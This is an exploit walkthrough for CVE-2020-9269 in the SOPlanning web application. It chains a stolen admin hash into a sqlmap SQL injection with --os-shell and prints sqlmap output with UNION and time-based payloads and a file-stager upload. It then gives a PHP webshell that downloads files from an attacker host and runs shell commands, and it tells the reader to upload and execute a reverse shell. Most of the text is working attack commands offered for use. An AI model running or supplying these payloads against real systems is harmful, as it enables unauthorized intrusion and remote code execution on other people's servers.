CVE-2020-9269

Once you have extracted the admin hash, you can now use that to get command execution on the machine through another SQL Injection.

Save the admin hash and insert it into SQLMap as such:

```
sqlmap -u 'http://HOSTHERE/soplanning/www/export_ical.php?login=admin&hash=HASHHERE&nocache&users=ADM&age=3' -p users --risk=3 --
level=5 --threads=10 --dbms=mysql --keep-alive --os-shell\
```

Now you have a web shell uploaded to the server:

```
11:52:31] [INFO] GET parameter 'users' is 'MySQL UNION query (NULL) - 41 to 60 columns' injectable
GET parameter 'users' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 2122 HTTP(s) requests:
---
Parameter: users (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: login=admin&hash=0eb87cdffc77dce2baabfd6c4dddc264&nocache&users=ADM') AND (SELECT 6911 FROM (SELECT(SLEEP(5)))GfEH)
AND ('gglk'='gglk&age=3

    Type: UNION query
    Title: MySQL UNION query (NULL) - 42 columns
    Payload: login=admin&hash=0eb87cdffc77dce2baabfd6c4dddc264&nocache&users=ADM') UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7162767171,0x4e6564784469636f6a4f5867627a44744f51452677545755a455a694c4d676f43
---
[11:53:02] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.41, PHP 7.2.26
back-end DBMS: MySQL >= 5.0.12
[11:53:02] [INFO] going to use a web backdoor for command prompt
[11:53:02] [INFO] fingerprinting the back-end DBMS operating system
[11:53:02] [INFO] the back-end DBMS operating system is Windows
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
> 4
do you want sqlmap to further try to provoke the full path disclosure? [Y/n] n
[11:53:07] [WARNING] unable to automatically retrieve the web server document root
what do you want to use for writable directory?
[1] common location(s) ('C:/xampp/htdocs/, C:/wamp/www/, C:/Inetpub/wwwroot/') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 2
please provide a comma separate list of absolute directory paths: C:\xampp\htdocs\soplanning\www
[11:53:23] [WARNING] unable to automatically parse any web server path
[11:53:23] [INFO] trying to upload the file stager on 'C:/xampp/htdocs/soplanning/www/' via LIMIT 'LINES TERMINATED BY' method
[11:53:23] [WARNING] unable to upload the file stager on 'C:/xampp/htdocs/soplanning/www/'
[11:53:23] [INFO] trying to upload the file stager on 'C:/xampp/htdocs/soplanning/www/' via UNION method
[11:53:23] [WARNING] expect junk characters inside the file as a leftover from UNION query
[11:53:23] [INFO] the remote file 'C:/xampp/htdocs/soplanning/www/tmpubhkt.php' is larger (768 B) than the local file
'/tmp/sqlmapi5F_1P150931/tmpEOtI5R' (727B)
[11:53:23] [INFO] the file stager has been successfully uploaded on 'C:/xampp/htdocs/soplanning/www/' -
http://HOST/soplanning/www/tmpubhkt.php
```

Using that webshell you can upload your reverse shell.

Props to FalconSpy (https://twitter.com/0xfalconspy) for the small webshell:

```
<?php if (isset($_REQUEST[‘fupload’])) { file_put_contents($_REQUEST[‘fupload’], file_get_contents(‘http://IP_ADDR/' .
$_REQUEST[‘fupload’])); }; if (isset($_REQUEST[‘fexec’])) { echo ‘<pre>’ . shell_exec($_REQUEST[‘fexec’]) . ‘</pre>’; }; ?>
```

Use that to upload and execute your shell after the SQLMap stager is uploaded.

Mad props to : https://twitter.com/HackingHomebre1 for the POC creation and assist.